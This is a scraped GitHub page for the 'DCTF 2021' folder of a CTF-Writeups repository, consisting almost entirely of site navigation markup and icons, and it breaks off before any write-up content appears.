text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-3 mb-4 mb-lg-0 d-inline-block"> Sign in </div> Sign up </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div data-pjax-replace id="js-flash-container"> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class=" px-2" > <button class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div>{{ message }}</div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" data-pjax-container > <div id="repository-container-header" class="pt-3 hide-full-screen mb-5" style="background-color: var(--color-page-header-bg);" data-pjax-replace> <div class="d-flex mb-3 px-3 px-md-4 px-lg-5"> <div class="flex-auto min-width-0 width-fit mr-3"> <h1 class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-icon-secondary mr-2"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <span> mrajabinasab </span> <span>/</span> CTF-Writeups <span></span><span>Public</span></h1> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell"> <path d="M8 16a2 2 0 001.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 008 16z"></path><path fill-rule="evenodd" d="M8 1.5A3.5 3.5 0 004.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.018.018 0 00-.003.01l.001.006c0 .002.002.004.004.006a.017.017 0 00.006.004l.007.001h10.964l.007-.001a.016.016 0 00.006-.004.016.016 0 00.004-.006l.001-.007a.017.017 0 00-.003-.01l-1.703-2.554a1.75 1.75 0 01-.294-.97V5A3.5 3.5 0 008 1.5zM3 5a5 5 0 0110 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.518 1.518 0 0113.482 13H2.518a1.518 1.518 0 01-1.263-2.36l1.703-2.554A.25.25 0 003 7.947V5z"></path></svg> Notifications <div > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom mr-1"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"></path></svg> <span> Star</span> 0 </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked"> <path fill-rule="evenodd" d="M5 3.25a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm0 2.122a2.25 2.25 0 10-1.5 0v.878A2.25 2.25 0 005.75 8.5h1.5v2.128a2.251 2.251 0 101.5 0V8.5h1.5a2.25 2.25 0 002.25-2.25v-.878a2.25 2.25 0 10-1.5 0v.878a.75.75 0 01-.75.75h-4.5A.75.75 0 015 6.25v-.878zm3.75 7.378a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm3-8.75a.75.75 0 100-1.5.75.75 0 000 1.5z"></path></svg> Fork 1 </div> <div id="responsive-meta-container" data-pjax-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M4.72 3.22a.75.75 0 011.06 1.06L2.06 8l3.72 3.72a.75.75 0 11-1.06 1.06L.47 8.53a.75.75 0 010-1.06l4.25-4.25zm6.56 0a.75.75 0 10-1.06 1.06L13.94 8l-3.72 3.72a.75.75 0 101.06 1.06l4.25-4.25a.75.75 0 000-1.06l-4.25-4.25z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path><path fill-rule="evenodd" d="M8 0a8 8 0 100 16A8 8 0 008 0zM1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.177 3.073L9.573.677A.25.25 0 0110 .854v4.792a.25.25 0 01-.427.177L7.177 3.427a.25.25 0 010-.354zM3.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122v5.256a2.251 2.251 0 11-1.5 0V5.372A2.25 2.25 0 011.5 3.25zM11 2.5h-1V4h1a1 1 0 011 1v5.628a2.251 2.251 0 101.5 0V5A2.5 2.5 0 0011 2.5zm1 10.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0zM3.75 12a.75.75 0 100 1.5.75.75 0 000-1.5z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM6.379 5.227A.25.25 0 006 5.442v5.117a.25.25 0 00.379.214l4.264-2.559a.25.25 0 000-.428L6.379 5.227z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-book UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M0 1.75A.75.75 0 01.75 1h4.253c1.227 0 2.317.59 3 1.501A3.744 3.744 0 0111.006 1h4.245a.75.75 0 01.75.75v10.5a.75.75 0 01-.75.75h-4.507a2.25 2.25 0 00-1.591.659l-.622.621a.75.75 0 01-1.06 0l-.622-.621A2.25 2.25 0 005.258 13H.75a.75.75 0 01-.75-.75V1.75zm8.755 3a2.25 2.25 0 012.25-2.25H14.5v9h-3.757c-.71 0-1.4.201-1.992.572l.004-7.322zm-1.504 7.324l.004-5.073-.002-2.253A2.25 2.25 0 005.003 2.5H1.5v9h3.757a3.75 3.75 0 011.994.574z"></path></svg> <span>Wiki</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.467.133a1.75 1.75 0 011.066 0l5.25 1.68A1.75 1.75 0 0115 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.7 1.7 0 01-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 011.217-1.667l5.25-1.68zm.61 1.429a.25.25 0 00-.153 0l-5.25 1.68a.25.25 0 00-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.2.2 0 00.154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.25.25 0 00-.174-.237l-5.25-1.68zM9 10.5a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.75a.75.75 0 10-1.5 0v3a.75.75 0 001.5 0v-3z"></path></svg> <span>Security</span> <include-fragment src="/mrajabinasab/CTF-Writeups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 1.75a.75.75 0 00-1.5 0v12.5c0 .414.336.75.75.75h14.5a.75.75 0 000-1.5H1.5V1.75zm14.28 2.53a.75.75 0 00-1.06-1.06L10 7.94 7.53 5.47a.75.75 0 00-1.06 0L3.22 8.72a.75.75 0 001.06 1.06L7 7.06l2.47 2.47a.75.75 0 001.06 0l5.25-5.25z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zM1.5 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zm13 0a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path></svg> <span>More</span> </div></summary> <div data-view-component="true"> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Wiki Security Insights </details-menu></div></details></div></nav> </div> <div class="clearfix new-discussion-timeline container-xl px-3 px-md-4 px-lg-5"> <div id="repo-content-pjax-container" class="repository-content " > <div> <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="details-reset details-overlay mr-0 mb-0 " id="branch-select-menu"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path fill-rule="evenodd" d="M11.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122V6A2.5 2.5 0 0110 8.5H6a1 1 0 00-1 1v1.128a2.251 2.251 0 11-1.5 0V5.372a2.25 2.25 0 111.5 0v1.836A2.492 2.492 0 016 7h4a1 1 0 001-1v-.628A2.25 2.25 0 019.5 3.25zM4.25 12a.75.75 0 100 1.5.75.75 0 000-1.5zM3.5 3.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0z"></path></svg> <span>main</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" class="d-flex flex-column flex-auto overflow-auto" tabindex=""> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/mrajabinasab/CTF-Writeups/refs" cache-key="v0:1621249080.55423" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="bXJhamFiaW5hc2FiL0NURi1Xcml0ZXVwcw==" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" class="d-flex flex-column flex-auto overflow-auto" tabindex="" hidden> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/mrajabinasab/CTF-Writeups/refs" cache-key="v0:1621249080.55423" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="bXJhamFiaW5hc2FiL0NURi1Xcml0ZXVwcw==" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-Writeups</span></span></span><span>/</span>DCTF 2021<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-Writeups</span></span></span><span>/</span>DCTF 2021<span>/</span></div> <div class="Box mb-3"> <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-1 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/mrajabinasab/CTF-Writeups/tree-commit/e8b256f6c0fc53b2be9b7c0d17995ce0585585c3/DCTF%202021" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg 